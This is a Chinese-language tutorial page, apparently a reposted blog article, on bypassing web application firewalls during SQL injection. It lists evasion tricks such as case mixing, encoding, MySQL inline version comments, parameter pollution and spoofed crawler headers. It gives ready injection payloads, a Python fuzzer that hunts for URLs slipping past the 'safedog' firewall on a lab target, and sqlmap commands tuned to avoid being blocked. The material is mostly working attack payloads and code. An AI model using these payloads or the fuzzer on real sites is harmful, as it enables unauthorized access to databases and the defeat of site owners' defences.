IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入之WAF绕过 -> 正文阅读

[大数据]SQL注入之WAF绕过

SQL注入之WAF绕过

  • 数据
  1. 大小写
  2. 加密解密
  3. 编码解码
  4. 等价函数
  5. 特殊符号
  6. 反序列化
  7. 注释符混用
  • 方式
  1. 更改提交方式
  2. 变异
  • 其他
  1. Fuzz大法
  2. 数据库特性
  3. 垃圾数据溢出
  4. HTTP参数污染

大小写关键字替换

id=1 UnioN/**/SelEct 1,user()
Hex() bin() 等价 acsii()
sleep() 等价于 benchmark()
Mid() substring()等价于 substr()
@@user 等价 user()
@@version 等价 version()

各种编码

大小写,URL hex %0A等

注释使用

//
–+
– (两个-加空格)
(#)(这里是单个#,用括号是因为会被注释了)
//
+
;%00
/!
/

再次循环

union==uunionnion

等价替换

user() = @@user()
and=&
or=|
ascii=hex等

参数污染

?id=1&id=2&id=3

编码解码以及加密解密

s->%73->%25%37%33
hex,unlcode,base64等

更改请求提交方式

GET POST COOKIE
POST->multipart/from-data

中间件HTTP参数污染

数据库特性

  1. MySQL技巧
  • MySQL注释符有三种:#、/----/、-- 、…(注意–后有一个空格)
  • 空格符:[0x09,0x0a-0x0d,0x20,0xa0]
  • 特殊符号:%a 换行符
    可结合注释符使用%230a,%2d%2d%0a
  • 内联注释
    /*!Union123456Select / 1,user() //数字范围1000-50540
    /
    !50000union Select */ 1,user()
    下面有与fuzz配合的 代码
    表示如果mysql版本大于5.00.00版本就执行,不被注释,如果低于则被注释
  • mysql黑魔法
    select{x username} from {x11 test.admin};
    union all%23%0a select 1,2,version()’
  1. SQL Server技巧
  • 用注释掉注释后查询的其余部分
    /* C语言风格注释
    – SQL注释(两个-加空格)
    ; 00% 空字节
  • 空白符:[0x01-0x20]
  • 特殊符号:%3a 冒号
    id=1 union;elect 1,2 from:admin
  • 函数变形:如db_name [空白字符] ()
  1. Oracle技巧
  • 注释符::–和/**/
  • 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
  1. 配合FUZZ
    select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name [位置四] from [位置五] admin

注入方法
id=-1
~ ! %0A
id=-1 union // select 1,2,3 --+
id=-1 union%23a%0Aselect 1,2,3 --+
不能正常运行
id=-1 uni/
/on select 1,2,3 --+
d=-1 uni/**/on select 1,2,3 --+

HTTP参数污染

给多个参数如:/?id=12&23
这个时候就是看服务器会接收那个内容,如果是php/apache那么获取的就是后面的内容,如果是jsp/tomcat的话就是第一个
在这里插入图片描述
在mysql中/** select username from users*/是不能执行的,属于注释符
1/**-1 union select 1,2,3#*/

白名单

方式一:IP白名单
从网络层获取的IP一般无法伪造,如果是获取客户端的,那么存在伪造IP绕过。
伪造为百度爬虫的请求头(让WAF以为是官方的爬虫,达到绕过)

fuzz代码实现

import requests, time

url = 'http://10.1.1.120/Less-2/?id=1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a', '%23'}
aa = {'x'}
aaa = {'%0a', '%23'}
b = '/*!'
c = '/*'


def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500, 44600):
                    urls = url + xiaodi + xiaodis + xiaodiss + b + str(two) + union + c + xiaodi + xiaodis + xiaodiss + select + xiaodi + xiaodis + xiaodiss + num
                    try:
                        result = requests.get(urls).text
                        len_r = len(result)
                        if (result.find('safedog') == -1):
                            # print('bypass url address:'+ urls+'|'+ str(len_r))
                            print('bypass url address:' + urls + '|' + str(len_r))
                            if len_r == 715:
                                fp = open('url,txt', 'a+')
                                fp.write(urls + '\n')
                                fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)


if __name__ == '__main__':
    print('fuzz start')
    bypass()

SQLmap

sqlmap -u “http://www.xxxx.com/?id=1” --tamper=xxx.py --proxy=http://127.0.0.1:8888 --random-agent
–random-agent随机出现请求头,避免被墙(不改的话就是用默认sqlmap.org的请求头,直接就拦截了)
使用比如百度爬虫的请求头就不会被墙
在这里插入图片描述

自定义请求头
sqlmap -u “http://www.xxxx.com/?id=1” --tampper xxx.py --user-Agent=”Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)“
延时注入,避免被墙
–delay 1 每一秒注入一次

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-04-06 23:15:00  更:2022-04-06 23:18:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 5:23:18-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码